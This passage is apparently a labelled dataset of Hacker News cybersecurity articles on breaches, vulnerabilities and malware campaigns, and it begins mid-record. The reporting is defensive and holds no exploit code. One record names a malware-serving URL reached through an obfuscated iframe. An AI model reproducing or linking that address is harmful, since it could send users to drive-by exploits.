SonicWall wouldn't confirm the reports beyond the statement, adding it would provide additional updates as more information becomes available.
The complete list of affected products include:
NetExtender VPN client version 10.x (released in 2020) utilized to connect to SMA 100 series appliances and SonicWall firewalls
Secure Mobile Access (SMA) version 10.x running on SMA 200, SMA 210, SMA 400, SMA 410 physical appliances, and the SMA 500v virtual appliance
The company said its SMA 1000 series is not susceptible to the zero-days and that it utilizes clients different from NetExtender.
It has also published an advisory urging organizations to enable multi-factor authentication, disable NetExtender access to the firewall, restrict access to users and admins for public IP addresses, and configure whitelist access on the SMA directly to mitigate the flaws.
With a number of cybersecurity vendors such as FireEye, Microsoft, Crowdstrike, and Malwarebytes becoming targets of cyberattacks in the wake of SolarWinds supply chain hack, the latest breach of SonicWall raises significant concerns.
""As the front line of cyber defense, we have seen a dramatic surge in cyberattacks on governments and businesses, specifically on firms that provide critical infrastructure and security controls to those organizations,"" SonicWall said.
UPDATE (24 Jan, 2021)
SonicWall, in an updated advisory on Saturday, said its NetExtender VPN clients are no longer affected by the potential zero-day vulnerabilities that it said were used to carry out a ""coordinated attack"" on its internal systems.
The company, however, said it's continuing to investigate the SMA 100 Series for probable zero-days.
""While we previously communicated NetExtender 10.x as potentially having a zero-day, that has now been ruled out,"" the company stated. ""It may be used with all SonicWall products. No action is required from customers or partners.""
That said, exact specifics about the nature of the attack and what prompted SonicWall to investigate its own products as a possible attack vector remains unclear as yet.
We have reached out to the company for details, and we'll update the story if we hear back.

",Cyber_Attack
CCleaner Attack Timeline—Here's How Hackers Infected 2.3 Million PCs,https://thehackernews.com/2018/04/ccleaner-malware-attack.html,"Last year, the popular system cleanup software CCleaner suffered a massive supply-chain malware attack of all times, wherein hackers compromised the company's servers for more than a month and replaced the original version of the software with the malicious one.

The malware attack infected over 2.3 million users who downloaded or updated their CCleaner app between August and September last year from the official website with the backdoored version of the software.

Now, it turns out that the hackers managed to infiltrate the company's network almost five months before they first replaced the official CCleaner build with the backdoored version, revealed Avast executive VP and CTO Ondrej Vlcek at the RSA security conference in San Francisco on Tuesday.

6-Months Timeline of CCleaner Supply Chain Attack
Vlcek shared a brief timeline of the last year's incident that came out to be the worst nightmare for the company, detailing how and when unknown hackers breached Piriform, the company that created CCleaner and was acquired by Avast in July 2017.

March 11, 2017 (5 AM local time)—Attackers first accessed an unattended workstation of one of the CCleaner developers, which was connected to Piriform network, using remote support software TeamViewer.

The company believes attackers reused the developer's credentials obtained from previous data breaches to access the TeamViewer account and managed to install malware using VBScript on the third attempt.

March 12, 2017 (4 AM local time)—Using the first machine, attackers penetrated into the second unattended computer connected to the same network and opened a backdoor through Windows RDP (Remote Desktop Service) protocol.

Using RDP access, the attackers dropped a binary and a malicious payload—a second stage malware (older version) that was later delivered to 40 CCleaner users—on the target computer's registry.

March 14, 2017—Attackers infected the first computer with the older version of the second stage malware as well.

April 4, 2017—Attackers compiled a customised version of ShadowPad, an infamous backdoor that allows attackers to download further malicious modules or steal data, and this payload the company believes was the third stage of the CCleaner attack.

April 12, 2017—A few days later, attackers installed the 3rd stage payload on four computers in the Piriform network (as a mscoree.dll library) and a build server (as a .NET runtime library).

Between mid-April and July—During this period, the attackers prepared the malicious version of CCleaner, and tried to infiltrate other computers in the internal network by installing a keylogger on already compromised systems to steal credentials, and logging in with administrative privileges through RDP.

July 18, 2017—Security company Avast acquired Piriform, the UK-based software development company behind CCleaner with more than 2 billion downloads.

August 2, 2017—Attackers replaced the original version of CCleaner software from its official website with their backdoored version of CCleaner, which was distributed to millions of users.

September 13, 2017—Researchers at Cisco Talos detected the malicious version of the software, which was being distributed through the company's official website for more than a month, and notified Avast immediately.

The malicious version of CCleaner had a multi-stage malware payload designed to steal data from infected computers and send it back to an attacker-controlled command-and-control server.

Although Avast, with the help of the FBI, was able to shut down the attackers' command-and-control server within three days of being notified of the incident, the malicious CCleaner software had already been downloaded by 2.27 million users.

Moreover, it was found that the attackers were then able to install a second-stage payload on 40 selected computers operated by major international technology companies, including Google, Microsoft, Cisco, Intel, Samsung, Sony, HTC, Linksys, D-Link, Akamai and VMware.

However, the company has no proofs if the third stage payload with ShadowPad was distributed to any of these targets.
""Our investigation revealed that ShadowPad had been previously used in South Korea, and in Russia, where attackers intruded a computer, observing a money transfer."" Avast said.
""The oldest malicious executable used in the Russian attack was built in 2014, which means the group behind it might have been spying for years.""
Based on their analysis of the ShadowPad executable from the Piriform network, Avast believes that the malicious attackers behind the malware have been active for a long time, spying on institutions and organizations so thoroughly.

",Cyber_Attack
Ultra-secure Blackphone Vulnerability lets Hackers Decrypt Texts,https://thehackernews.com/2015/01/blackphone-vulnerability.html,"The makers of ultra secure BlackPhone titled by Silent Circle as, ""world's first Smartphone which places privacy and control directly in the hands of its users,"" have recently fixed a critical vulnerability in the instant messaging application that allows hackers to run malicious code on the handsets.

BlackPhone was also hacked last year at the BlackHat security conference, but the interesting factor about the recent hack was that the attackers only needed to send just a message on a targeted phone number in order to compromise the device.

The vulnerability was first discovered and disclosed by Mark Dowd, a principal security researcher at the Australia-based consultancy firm Azimuth Security. Dowd discovered the issue late in 2014, but waited to disclose it until Blackphone got their patches and fixes in place.

The flaw actually resides in Silent Text application — the secure text messaging application bundled with the BlackPhone handsets, which is also freely available as Android App on Google Play Store.

Exploiting the vulnerability would have allowed hackers to perform following tasks:
Decrypt messages and read messages
Read and steal contacts
Monitor geographic locations of the phone
Write code or text to the phone's external storage
Enumerate the accounts stored on the device
""Successful exploitation can yield remote code execution with the privileges of the Silent Text application, which runs as a regular Android app, but with some additional system privileges required to perform its SMS-like functionality such as access to contacts, access to location information, the ability to write to external storage, and of course net access,"" Dowd said.
The vulnerability occurred due to a component known as libscimp — the BlackPhone implementation of the Silent Circle Instant Messaging Protocol (SCIMP) which runs on the Extensible Messaging and Presence Protocol (XMPP) — that contained a type of memory corruption flaw known as a type confusion vulnerability.

SCIMP is used by the creators of BlackPhone in an effort to create a secure end-to-end encryption channel between people sending text messages. It also handles the transportation of the encrypted data through the channel.

Now, this SCIMP implementation supplied with SilentText contains a type confusion vulnerability, typically allowing attackers to ""directly overwrite a pointer in memory (either partially or in full), which when successfully exploited can be used to gain remote, unauthenticated access to the vulnerable device.""

Dowd has given a solid technical description on his blog, so you may refer his blog post for more detailed explanation about the critical vulnerability.

The vulnerability has since been patched, but it is a powerful reminder for those who, no doubt, did a lot of things right to provide strong encryption to its users, but in this era of more complex software and advanced hacking, there is no such guarantee that your product can not be hacked.

",Vulnerability
New Highly-Critical SAP Bug Could Let Attackers Take Over Corporate Servers,https://thehackernews.com/2020/07/sap-netweaver-vulnerability.html,"SAP has patched a critical vulnerability impacting the LM Configuration Wizard component in NetWeaver Application Server (AS) Java platform, allowing an unauthenticated attacker to take control of SAP applications.

The bug, dubbed RECON and tracked as CVE-2020-6287, is rated with a maximum CVSS score of 10 out of 10, potentially affecting over 40,000 SAP customers, according to cybersecurity firm Onapsis, which uncovered the flaw.

""If successfully exploited, a remote, unauthenticated attacker can obtain unrestricted access to SAP systems through the creation of high-privileged users and the execution of arbitrary operating system commands with the privileges of the SAP service user account, which has unrestricted access to the SAP database and is able to perform application maintenance activities, such as shutting down federated SAP applications,"" the US Cybersecurity and Infrastructure Security Agency (CISA) said in an advisory.

""The confidentiality, integrity, and availability of the data and processes hosted by the SAP application are at risk by this vulnerability,"" it added.

The vulnerability is present by default in SAP applications running on top of SAP NetWeaver AS Java 7.3 and newer (up to SAP NetWeaver 7.5), putting several SAP business solutions at risk, including but not limited to SAP Enterprise Resource Planning, SAP Product Lifecycle Management, SAP Customer Relationship Management, SAP Supply Chain Management, SAP Business Intelligence, and SAP Enterprise Portal.

According to Onapsis, RECON is caused due to a lack of authentication in the web component of the SAP NetWeaver AS for Java, thus granting an attacker to perform high-privileged activities on the susceptible SAP system.

""A remote, unauthenticated attacker can exploit this vulnerability through an HTTP interface, which is typically exposed to end users and, in many cases, exposed to the internet,"" CISA said.

By exploiting the flaw to create a new SAP user with maximum privileges, the intruder can compromise SAP installations to execute arbitrary commands, such as modifying or extracting highly sensitive information as well as disrupting critical business processes.

Although there's no evidence of any active exploitation of the vulnerability, CISA cautioned that the patches' availability could make it easier for adversaries to reverse-engineer the flaw to create exploits and target unpatched systems.

Given the severity of RECON, it's recommended that organizations apply critical patches as soon as possible and scan SAP systems for all known vulnerabilities and analyze systems for malicious or excessive user authorizations.

",Vulnerability
DoorDash Breach Exposes 4.9 Million Users' Personal Data,https://thehackernews.com/2019/09/doordash-data-breach.html,"Do you use DoorDash frequently to order your food online?

If yes, you are highly recommended to change your account password right now.

DoorDash—the popular on-demand food-delivery service—today confirmed a massive data breach that affects almost 5 million people using its platform, including its customers, delivery workers, and merchants as well.

DoorDash is a San Francisco-based on-demand food delivery service (just like Zomato and Swiggy in India) that connects people with their local restaurants and get delivered food on their doorsteps with the help of contracted drivers, also known as ""Dashers.""

The service operates in more than 4,000 cities across the United States and Canada.

What happened?

In a blog post published today, DoorDash said the company became aware of a security intrusion earlier this month after it noticed some ""unusual activity"" from a third-party service provider.

Immediately after detecting the security intrusion, the company launched an investigation and found that an unauthorized third party managed to gain access to DoorDash personal data and in some cases financial data of its users on 4th May 2019.

Yes, you read that right. The data breach happened on 4th May, but it took the company more than four months to discover the security incident.

Based on the company's statement, it appears that the systems for food delivery service itself don't have any potential weakness that may have exposed its users' data in the first place; instead, the incident involves a third-party service provider.

How many victims?

The breach affected approximately 4.9 million consumers, Dashers, and merchants, who joined DoorDash platform on or before 5th April 2018.

However, the company said that those who joined its platform after 5th April 2018, are not affected by the breach.

What type of information was accessed?

The type of data accessed by the unknown attacker(s) include both personal and financial data, as shown below:

Profile information of all 4.9 million affected users — This data includes their names, email addresses, delivery addresses, order history, phone numbers, and hashed passwords.
Financial information of some consumers — The company said the hackers also managed to get their hands on the last four digits of payment cards for some of its consumers but assured that full payment card numbers or a CVV were not accessed.
Financial information of some Dashers and merchants — Not just consumers, but some Dashers and merchants also had the last four digits of their bank account number accessed by the hackers.
Information of 100,000 Dashers — The attackers were also able to access driver's license numbers for 100,000 Dashers.

However, DoorDash believes this information is not sufficient to place fraudulent orders using payment cards or to make fraudulent withdrawals from bank accounts.

What is DoorDash now doing?

In an attempt to protect its customers, DoorDash immediately restricted further unauthorized access by the attacker and hired security experts to investigate the incident and verify the extent of the breach.

The company also said it had placed additional security controls to harden the security and further secure its customers' data, which include adding additional security layers to protect user data and improving security protocols that allow access to its systems.

DoorDash is also bringing in ""outside expertise"" to increase the company's ability to identify and repel such threats before it victimizes its users.

""We deeply regret the frustration and inconvenience that this may cause you. Every member of the DoorDash community is important to us, and we want to assure you that we value your security and privacy,"" the company said.

The company is in the process of reaching out directly to individual users affected by the data breach with more information, which may take a few days. Users can call the company's dedicated call center available 24/7 for support at 855–646–4683.

What Should You Do Now?

First of all, change your passwords for DoorDash account and any other online account where you use the same credentials. Do it even if you are not affected—to be on the safer side.

Though the financial information accessed by the hackers are not enough for making fraudulent withdrawals from bank accounts, its is always a good idea to be vigilant and keep a close eye on your bank and payment card statements for any unusual activity and report to the bank, if find any.

You should also mainly be suspicious of phishing emails, which are usually the next step of cyber criminals after a breach in an attempt to trick users into giving up further details like passwords and bank information.

",Data_Breaches
"50,000 Websites Hacked Through MailPoet WordPress Plugin Vulnerability",https://thehackernews.com/2014/07/hacking-wordpress-plugin-vulnerability.html,"The users of WordPress, a free and open source blogging tool as well as content management system (CMS), that have a popular unpatched wordPress plugin installed are being cautioned to upgrade their sites immediately.

A serious vulnerability in the WordPress plugin, MailPoet, could essentially allows an attacker to inject any file including malware, defacements and spam, whatever they wanted on the server and that too without any authentication.

MailPoet, formerly known as Wysija Newsletter, is a WordPress plugin with more than 1.7 million downloads that allows developers running WordPress to send newsletters and manage subscribers within the content management system.

In a blog post, the security researcher and CEO of the security firm Sucuri, Daniel Cid, pointed out the vulnerability to be serious and said that within three weeks since the vulnerability unveiled, over 50,000 websites have been remotely exploited by the cybercriminals to install backdoors targeting the vulnerable MailPoet plugin.

Some of those compromised websites don't even run WordPress or don't have MailPoet plugin enabled in it, as the malware can infect any website that resides on the server of a hacked WordPress website, according the researcher.
""The malware code had some bugs: it was breaking many websites, overwriting good files and appending various statements in loops at the end of files,"" Cid said in a blog post. ""All the hacked sites were either using MailPoet or had it installed on another sites within the same shared account -- cross-contamination still matters.""
""To be clear, the MailPoet vulnerability is the entry point, it doesn't mean your website has to have it enabled or that you have it on the website; if it resides on the server, in a neighbouring website, it can still affect your website.""
The security firm first reported about the vulnerability on the beginning of this month. The backdoor installed is a very nasty and creates an admin account that gives attackers full administrative control. It also injects backdoor code into all themes and core files.

The worst part with this infection is that the malicious code also overwrites valid files, which are very difficult to recover without a good backup in place. It causes many websites to fall over and display the message:
Parse error: syntax error, unexpected ')' in /home/user/public_html/site/wp-config.php on line 91.
The Security firm is clarifying that every build of MailPoet is vulnerable except the only version which is the most recent released 2.6.7. So, users are recommended to update it as soon as possible.

Sucuri security firm is very dedicated in finding vulnerabilities in the WordPress CMS and encouraging users to install the updates. A week ago, it urged the users to upgrade WordPress version due to a vulnerability found in the WPtouch WordPress plugin that could potentially allow any non-administrative logged-in user to upload malicious PHP files or backdoors to the target server without any admin privileges.

Sucuri also found two serious vulnerabilities in the popular WordPress SEO plugin called ""All in One SEO Pack"" and a critical Remote Code Execution (RCE) flaw in ""Disqus Comment System"" Plugin of Wordpress few weeks before.

",Malware
Critical glibc Flaw Puts Linux Machines and Apps at Risk (Patch Immediately),https://thehackernews.com/2016/02/glibc-linux-flaw.html,"A highly critical vulnerability has been uncovered in the GNU C Library (glibc), a key component of most Linux distributions, that leaves nearly all Linux machines, thousands of apps and electronic devices vulnerable to hackers that can take full control over them.

Just clicking on a link or connecting to a server can result in remote code execution (RCE), allowing hackers to steal credentials, spy on users, seize control of computers, and many more.

The vulnerability is similar to the last year's GHOST vulnerability (CVE-2015-0235) that left countless machines vulnerable to remote code execution (RCE) attacks, representing a major Internet threat.

GNU C Library (glibc) is a collection of open source code that powers thousands of standalone apps and most Linux distributions, including those distributed to routers and other types of hardware.

The recent flaw, which is indexed as CVE-2015-7547, is a stack-based buffer overflow vulnerability in glibc's DNS client-side resolver that is used to translate human-readable domain names, like google.com, into a network IP address.

The buffer overflow flaw is triggered when the getaddrinfo() library function that performs domain-name lookups is in use, allowing hackers to remotely execute malicious code.

How Does the Flaw Work?

The flaw can be exploited when an affected device or app make queries to a malicious DNS server that returns too much information to a lookup request and floods the program's memory with code.

This code then compromises the vulnerable application or device and tries to take over the control over the whole system.

It is possible to inject the domain name into server log files, which when resolved will trigger remote code execution. An SSH (Secure Shell) client connecting to a server could also be compromised.

However, an attacker need to bypass several operating system security mechanisms – like ASLR and non-executable stack protection – in order to achieve successful RCE attack.

Alternatively, an attacker on your network could perform man-in-the-middle (MitM) attacks and tamper with DNS replies in a view to monitoring and manipulating (injecting payloads of malicious code) data flowing between a vulnerable device and the Internet.

Affected Software and Devices

All versions of glibc after 2.9 are vulnerable. Therefore, any software or application that connects to things on a network or the Internet and uses glibc is at RISK.

The widely used SSH, sudo, and curl utilities are all known to be affected by the buffer overflow bug, and security researchers warn that the list of other affected applications or code is almost too diverse and numerous to enumerate completely.

The vulnerability could extend to a nearly all the major software, including:
Virtually all distributions of Linux.
Programming languages such as the Python, PHP, and Ruby on Rails.
Many others that use Linux code to lookup the numerical IP address of an Internet domain.
Most Bitcoin software is reportedly vulnerable, too.

Who are Not Affected

The good news is users of Google's Android mobile operating system aren't vulnerable to this flaw. As the company uses a glibc substitute known as Bionic that is not susceptible, according to a Google representative.

Additionally, a lot of embedded Linux devices, including home routers and various gadgets, are not affected by the bug because these devices use the uclibc library as it is more lightweight than hefty glibc.

The vulnerability was first introduced in May 2008 but was reported to the glibc maintainers July 2015.

The vulnerability was discovered independently by researchers at Google and Red Hat, who found that the vulnerability has likely not been publicly attacked.

The flaw was discovered when one of the Google's SSH apps experienced a severe error called a segmentation fault each time it attempted to contact to a particular Internet address, Google's security team reported in a blog post published Monday.

Where glibc went Wrong

Google researchers figured out that the error was due to a buffer overflow bug inside the glibc library that made malicious code execution attacks possible. The researchers then notified glibc maintainers.

Here's what went wrong, according to the Google engineers:

""glibc reserves 2048 bytes in the stack through alloca() for the DNS answer at _nss_dns_gethostbyname4_r() for hosting responses to a DNS query. Later on, at send_dg() and send_vc(), if the response is larger than 2048 bytes, a new buffer is allocated from the heap and all the information (buffer pointer, new buffer size and response size) is updated.""

""Under certain conditions a mismatch between the stack buffer and the new heap allocation will happen. The final effect is that the stack buffer will be used to store the DNS response, even though the response is larger than the stack buffer and a heap buffer was allocated. This behavior leads to the stack buffer overflow.""

Proof-of-Concept Exploit Released
Google bod Fermin J. Serna released a Proof-of-Concept (POC) exploit code on Tuesday.

With this POC code, you can verify if you are affected by this critical issue, and verify any mitigations you may wish to enact.

Patch glibc Vulnerability

Google researchers, working with security researchers at Red Hat, have released a patch to fix the programming blunder.

However, it is now up to the community behind the Linux OS and manufacturers, to roll out the patch to their affected software and devices as soon as possible.

For people running servers, fixing the issue will be a simple process of downloading and installing the patch update.

But for other users, patching the problem may not be so easy. The apps compiled with a vulnerable glibc version should be recompiled with an updated version – a process that will take time as users of affected apps have to wait for updates to become available from developers.

Meanwhile, you can help prevent exploitation of the flaw, if you aren't able to immediately patch your instance of glibc, by limiting all TCP DNS replies to 1024 bytes, and dropping UDP DNS packets larger than 512 bytes.

For more in-depth information on the glibc flaw, you can read Red Hat blog post.

",Vulnerability
Remote Attack Could Format Your Pebble Smartwatch Easily,https://thehackernews.com/2014/08/remote-attack-could-damage-your-pebble.html,"Pebble, a wristwatch that can connect to your phone - both iOS and Android - and interact with apps, has a hard-coded vulnerability that allows a remote attacker to destroy your Smartwatch completely.

Pebble Smartwatch, developed and released by Pebble Technology Corporation in 2013, is considered as one of the most popular SmartWatches that had become the most funded project in the history of Kickstarter. Just two hours after its crowd-funding campaign launched, Pebble had already surpassed its $100,000 goal and at last had reached over $10.25 million pledged by nearly 70,000 Kickstarter backers.

A security enthusiast Hemanth Joseph claimed to have found that his Pebble SmartWatch with the latest v2.4.1 Firmware can be remotely exploited by anyone with no technical knowledge in order to delete all data stored in the device, apps, notes, and other information stored in it.

HOW PEBBLE SMARTWATCH WORKS
Before proceeding towards how he did this, let me explain how Pebble works, in an effort to make the attack more clear. When Pebble Smartwatch is connected to an Android or iOS phone, it will give a Vibrating alert to every messages from Whatsapp or Facebook or related apps with the whole message displayed on its screen.

When we talk about messages, there is no character limit established. If you get a lengthy message, say of 100 word or more, from Whatsapp or any other messaging app, Pebble will show the whole message in its small screen — and that's the hole Joseph exploited.

ATTACK SCENARIO
Joseph tried sending 1500 messages in 5 seconds and noticed that his Pebble screen became filled with lots of lines and soon after it got Switched off itself automatically and executed a Factory Reset.
""Due to that automatic Factory Reset I lost all my Apps and other data's which I was having in my Pebble,"" Joseph wrote in his blog post. ""The same occurred even when I decreased the no. of messages to 300 in 5 sec.""
Anyone with your Facebook Id or even mobile number can exploit this denial-of-service (DoS) bug to remotely delete all your data stored in your Pebble, just with the help of a series of Small Message Bomb.

DoS attack is that where an attacker sends a large number of requests to the target device in order to overload its capacity of handling maximum number of request at a time.

IMPACTS OF DoS ATTACK
He noticed different impacts of DoS attacks on different wearable devices. In some cases, the device will:
crashed and reboot
crashed, reboot and factory reset
Unfortunately, Joseph get his Pebble Smartwatch permanently damaged after number of experiments, but he gave a solution to this problem that the company should give a Character limit while showing apps' messages on the screen and also recommended Pebble to remove the Automatic Factory Reset.

PEBBLE RESPONDED
When he approached Pebble regarding the issue, the company replied, ""After the freezing of your Pebble you will see a lot of white straight lines all over the screen. We can't make it back to a working condition by simply Switching it off we MUST do a Factory Reset in order to make it working again . So it is sure that all your data will be Deleted if your pebble gets a DoS!""
HACKER TO LIVE DEMONSTRATE WHATSAPP DoS ATTACK
Two young security enthusiasts will demonstrate a possible large scale DoS attack remotely on Whatsapp Users at 'The Hackers Conference' 2014.

As mentioned in the paper abstract, Ashwin Thawrani and Rajat Agarwal have identified a serious vulnerability in the most popular messaging application ""WhatsApp"" that could allow them to permanently crash users' application installed on the Smartphone devices.

The Hackers Conference will be held in New Delhi, on the August 30th, 2014 in the presence of Industry leaders, Government representatives and underground Black-hat hackers.

",Vulnerability
Leaked NSA Hacking Tools Being Used to Hack Thousands of Vulnerable Windows PCs,https://thehackernews.com/2017/04/windows-hacking-tools.html,"Script kiddies and online criminals around the world have reportedly started exploiting NSA hacking tools leaked last weekend to compromise hundreds of thousands of vulnerable Windows computers exposed on the Internet.

Last week, the mysterious hacking group known as Shadow Brokers leaked a set of Windows hacking tools targeting Windows XP, Windows Server 2003, Windows 7 and 8, and Windows 2012, allegedly belonged to the NSA's Equation Group.

What's Worse? Microsoft quickly downplayed the security risks by releasing patches for all exploited vulnerabilities, but there are still risks in the wild with unsupported systems as well as with those who haven't yet installed the patches.

Multiple security researchers have performed mass Internet scans over the past few days and found tens of thousands of Windows computers worldwide infected with DoublePulsar, a suspected NSA spying implant, as a result of a free tool released on GitHub for anyone to use.

Security researchers from Switzerland-based security firm Binary Edge performed an Internet scan and detected more than 107,000 Windows computers infected with DoublePulsar.

A separate scan done by Errata Security CEO Rob Graham detected roughly 41,000 infected machines, while another by researchers from Below0day detected more than 30,000 infected machines, a majority of which were located in the United States.

The impact? DoublePulsar is a backdoor used to inject and run malicious code on already infected systems, and is installed using the EternalBlue exploit that targets SMB file-sharing services on Microsoft's Windows XP to Server 2008 R2.

Therefore, to compromise a machine, it must be running a vulnerable version of Windows OS with an SMB service expose to the attacker.

Both DoublePulsar and EternalBlue are suspected as Equation Group tools and are now available for any script kiddie to download and use against vulnerable computers.

Once installed, DoublePulsar used hijacked computers to sling malware, spam online users, and launch further cyber attacks on other victims. To remain stealthy, the backdoor doesn't write any files to the PCs it infects, preventing it from persisting after an infected PC is rebooted.

While Microsoft has already patched majority of the exploited flaws in affected Windows operating systems, those who have not patched are vulnerable to exploits such as EternalBlue, EternalChampion, EternalSynergy, EternalRomance, EmeraldThread, and EducatedScholar.

Moreover, systems that are still using end-of-life platforms like Windows XP, Windows Server 2003, and IIS 6.0, which no longer received security updates, are also vulnerable to the in-the-wild exploits.

Since it takes hackers roughly a few hours to download the Shadow Brokers dump, scan the Internet with the tool released on Monday, and deliver hacking exploits, researchers are expecting more vulnerable and unpatched computers to fall victims to DoublePulsar.

After this news had broken, Microsoft officials released a statement saying: ""We doubt the accuracy of the reports and are investigating.""

Meanwhile, Windows users who haven't applied MS17-010 by now are strongly advised to download and deploy the patches as soon as possible.

",Vulnerability
Russian APT28 Hackers Using COVID-19 as Bait to Deliver Zebrocy Malware,https://thehackernews.com/2020/12/russian-apt28-hackers-using-covid-19-as.html,"A Russian threat actor known for its malware campaigns has reappeared in the threat landscape with yet another attack leveraging COVID-19 as phishing lures, once again indicating how adversaries are adept at repurposing the current world events to their advantage.
Linking the operation to a sub-group of APT28 (aka Sofacy, Sednit, Fancy Bear, or STRONTIUM), cybersecurity firm Intezer said the pandemic-themed phishing emails were employed to deliver the Go version of Zebrocy (or Zekapab) malware.
The cybersecurity firm told The Hacker News that the campaigns were observed late last month.
Zebrocy is delivered primarily via phishing attacks that contain decoy Microsoft Office documents with macros as well as executable file attachments.
First spotted in the wild in 2015, the operators behind the malware have been found to overlap with GreyEnergy, a threat group believed to be the successor of BlackEnergy aka Sandworm, suggesting its role as a sub-group with links to Sofacy and GreyEnergy.
It operates as a backdoor and downloader capable of collecting system information, file manipulation, capturing screenshots, and executing malicious commands that are then exfiltrated to an attacker-controlled server.
While Zebrocy was originally written in Delphi (called Delphocy), it has since been implemented in half a dozen languages, including AutoIT, C++, C#, Go, Python, and VB.NET.
This specific campaign spotted by Intezer uses the Go version of the malware, first documented by Palo Alto Networks in October 2018 and later by Kaspersky in early 2019, with the lure delivered as part of a Virtual Hard Drive (VHD) file that requires victims to use Windows 10 to access the files.
Once mounted, the VHD file appears as an external drive with two files, one a PDF document that purports to contain presentation slides about Sinopharm International Corporation, a China-based pharmaceutical company whose COVID-19 vaccine has been found to be 86% effective against the virus in late-stage clinical trials.
The second file is an executable that masquerades as a Word document that, when opened, runs the Zebrocy malware.
Intezer said it also observed a separate attack likely targeting Kazakhstan with phishing lures impersonating an evacuation letter from India's Directorate General of Civil Aviation.
Phishing campaigns delivering Zebrocy have been spotted several times in the wild in recent months.
In September last year, ESET detailed Sofacy's intrusive activities targeting the Ministries of Foreign Affairs in Eastern European and Central Asian countries.
Then earlier this August, QuoIntelligence uncovered a separate campaign aimed at a government body in Azerbaijan under the pretense of sharing NATO training courses to distribute the Zebrocy Delphi variant.
The Golang version of the Zebrocy backdoor also caught the attention of the US Cybersecurity and Infrastructure Security Agency (CISA), which released an advisory in late October, cautioning that the malware is ""designed to allow a remote operator to perform various functions on the compromised system.""
To thwart such attacks, CISA recommends exercising caution when using removable media and opening emails and attachments from unknown senders, and scanning for suspicious email attachments, and ensuring the extension of the scanned attachment matches the file header.

",Malware
Privacy-focused Tails 1.1.2 Operating System Released,https://thehackernews.com/2014/09/Privacy-Tails-OS-Download.html,"Tails, a Linux-based highly secure Operating System specially designed and optimized to preserve users' anonymity and privacy, has launched its new release, Tails version 1.1.2.

Tails, also known as 'Amnesiac Incognito Live System', is a free security-focused Debian-based Linux distribution, which has a suite of applications that can be installed on a USB stick, an SD card or a DVD. It keeps users' communications private by running all connectivity through Tor, the network that routes traffic through various layers of servers and encrypts data.

The operating system came into limelight when the global surveillance whistleblower Edward Snowden said that he had used it in order to remain Anonymous and keep his communications hidden from the law enforcement authorities.

The new version 1.1.2 addresses a single but critical vulnerability which arises because the Network Security Services (NSS) libraries parser used by Firefox and other browsers is capable of being tricked into accepting forged RSA certificate signatures.
""We prepared this release mainly to fix a serious flaw in the Network Security Services (NSS) library used by Firefox and other products allows attackers to create forged RSA certificates,"" reads the Tails official website.
""Before this release, users on a compromised network could be directed to sites using a fraudulent certificate and mistake them for legitimate sites. This could deceive them into revealing personal information such as usernames and passwords. It may also deceive users into downloading malware if they believe it's coming from a trusted site.""
Cyber criminals may use Man-in-the-middle (MitM) attacks by impersonating as a bank or webmail provider and tricking online users into handing over their login credentials that can be then passed on to the legitimate organisation.

Tails 1.1.2 comes with the following security updates:
Updated TOR version (based on Firefox 24.8.0 ESR+tails3~bpo70+1)
New Linux kernel has been added, 3.16-1
Numerous other software upgrades that fix security issues in GnuPG, APT, DBus, Bash, and packages built from the bind9 and libav source packages
Mozilla Firefox also released a quick security patches for its Firefox versions and Thunderbird, as its open source browser is vulnerable to SSL man-in-the-middle attacks due to RSA certificate forgery. The patches are already available.

Firefox ESR 31.1.1, Firefox ESR 24.8.1, Thunderbird 31.1.1, and Thunderbird 24.8.1 have been updated to NSS 3.16.2.1. Also Firefox 32.0.3 and SeaMonkey 2.29.1 have been updated to NSS 3.16.5.

Users can download Tails 1.1.2 latest release from Tails official website.

",Vulnerability
Virus removal website compromised to serving malware,https://thehackernews.com/2011/09/virus-removal-website-compromised-to.html,"Virus removal website compromised to serving malware

One of the Famous Virus Removal Service website : laptopvirusrepair.co.uk is compromised and Hacker is Serving Malware on the website. In above screenshot Avira detects the JS/Blacole.psak Java script Virus hosted on the site.

The snippet of code is located at the bottom of the index page:
It is an obfuscated iframe that redirects to a site that will deliver exploits: zdesestvareznezahodi.com/tds/go.php?sid=1 . This Site is listed in malwareblacklist. Detected Virus is : Kaspersky: Trojan-Downloader.JS.Agent.geo and

Effected Platforms / OS:
• Windows 95
• Windows 98
• Windows 98 SE
• Windows NT
• Windows ME
• Windows 2000
• Windows XP
• Windows 2003
• Windows Vista
• Windows Server 2008
• Windows 7

Side effects of JS/Blacole.psak Java script Virus:
• Can be used to execute malicious code
• Drive-by download

",Malware
Adobe Releases Critical Security Updates for Acrobat and Reader,https://thehackernews.com/2014/09/adobe-acrobat-reader-security-update.html,"After a week delay, Adobe has finally pushed out critical security updates for its frequently-attacked Reader and Acrobat PDF software packages to patch serious vulnerabilities that could lead to computers being compromised.

The new versions of Adobe Reader and Acrobat released Tuesday for both Windows and Macintosh computers address eight vulnerabilities, five of which could allow for remote code execution.

The remaining three vulnerabilities involve a sandbox bypass vulnerability that can be exploited to escalate an attacker's privileges on Windows, a denial-of-service (DoS) vulnerability related to memory corruption, and a cross-site scripting (XSS) flaw that only affects the programs on the Mac platform. According to Adobe's advisory, applying the patches will involve a system restart.

The affected versions are:
Adobe Reader XI (11.0.08) and earlier 11.x versions for Windows
Adobe Reader XI (11.0.07) and earlier 11.x versions for Macintosh
Adobe Reader X (10.1.11) and earlier 10.x versions for Windows
Adobe Reader X (10.1.10) and earlier 10.x versions for Macintosh
Adobe Acrobat XI (11.0.08) and earlier 11.x versions for Windows
Adobe Acrobat XI (11.0.07) and earlier 11.x versions for Macintosh
Adobe Acrobat X (10.1.11) and earlier 10.x versions for Windows
Adobe Acrobat X (10.1.10) and earlier 10.x versions for Macintosh
The Reader and Acrobat updates were originally scheduled to be released a week ago, but were delayed due to issues identified during testing.

Additionally, the company rolled out a critical update for Adobe Flash (Windows and Macintosh), Flash browser plugins and Adobe AIR Desktop. A number of flaws in Adobe Flash Player are of highest severity which could led to remote code execution.

The new versions can be downloaded by using the following links:
Reader on Windows
Reader on Mac
Acrobat Standard and Pro on Windows
Acrobat Standard and Pro on Mac
All the updates are important to patch because several critical vulnerability could potentially allow an attacker to take over the affected system.

",Vulnerability
Google Releases Chrome Extension for End-To-End Email Encryption,https://thehackernews.com/2014/12/gmail-end-to-end-encryption.html,"Back in june this year, Google announced an alpha Google Chrome extension called ""End-to-End"" for sending and receiving emails securely, in wake of former NSA contractor Edward Snowden's revelations about the global surveillance conducted by the government law-enforcements.

Finally, the company has announced that it made the source code for its End-to-End Chrome extension open source via GitHub.

